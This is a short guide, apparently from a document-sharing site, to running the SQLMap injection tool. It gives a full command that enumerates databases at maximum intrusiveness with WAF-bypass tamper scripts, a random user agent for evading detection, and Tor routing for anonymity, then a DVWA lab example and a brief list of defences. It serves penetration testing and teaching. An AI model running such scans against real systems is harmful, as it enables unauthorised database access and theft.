Scribd
Upload
30 views3 pages

SQLMap Command Usage Guide

The SQLMap Complete Command Guide provides a comprehensive overview of SQLMap commands for testing SQL injection vulnerabilities, including a detailed command example and explanations of important options. It also lists common tamper scripts for bypassing web application firewalls and offers practical testing scenarios. Additionally, the guide emphasizes protective measures against SQL injection attacks, such as using prepared statements and monitoring database activity.

Uploaded by

anjan log
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
30 views3 pages

SQLMap Command Usage Guide

The SQLMap Complete Command Guide provides a comprehensive overview of SQLMap commands for testing SQL injection vulnerabilities, including a detailed command example and explanations of important options. It also lists common tamper scripts for bypassing web application firewalls and offers practical testing scenarios. Additionally, the guide emphasizes protective measures against SQL injection attacks, such as using prepared statements and monitoring database activity.

Uploaded by

anjan log
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SQLMap Complete Command Guide

1. SQLMap Complete Command Example

sqlmap -u "[Link] \

--dbs \

--batch \

--random-agent \

--tamper=between,charencode,randomcase,space2comment \

--threads=5 \

--timeout=10 \

--retries=3 \

--delay=1 \

--time-sec=10 \

--level=5 \

--risk=3 \

--technique=BEUSTQ \

--banner \

--tor --tor-type=SOCKS5 --check-tor \

--proxy="[Link]

2. Explanation of Important Options

- -u: Target URL with vulnerable parameter.

- --dbs: Dump all available databases.

- --batch: Run in non-interactive mode.


SQLMap Complete Command Guide

- --random-agent: Use random User-Agent to evade detection.

- --tamper: Modify payloads to bypass firewalls.

- --threads: Number of concurrent threads.

- --timeout: Seconds before timing out request.

- --retries: Retries on failure.

- --delay: Delay between requests.

- --time-sec: Timeout threshold for time-based SQLi.

- --level: Intrusiveness level (1-5).

- --risk: Risk of tests to perform (1-3).

- --technique: Techniques to use: Boolean, Error, Union, Stacked, Time, Inline.

- --banner: Show DBMS banner/version.

- --tor: Route through Tor for anonymity.

- --proxy: Useful for testing with BurpSuite.

3. Tamper Scripts for WAF Bypass

Common Tamper Scripts:

- between

- charencode

- randomcase

- space2comment

Path: /usr/share/sqlmap/tamper/
SQLMap Complete Command Guide

Use combinations based on the firewall behavior.

4. Practical Testing

Example (DVWA or BurpSuite proxy):

sqlmap -u "[Link] \

--cookie="PHPSESSID=abcd1234" \

--dbs \

--proxy="[Link]

Note: Use Burp to intercept and identify parameters.

5. Protection Against SQL Injection

- Always use prepared statements and parameterized queries.

- Never trust user input; always validate and sanitize.

- Use WAF (Web Application Firewall).

- Enable least privilege on DB user accounts.

- Monitor and log database activity for anomalies.

You might also like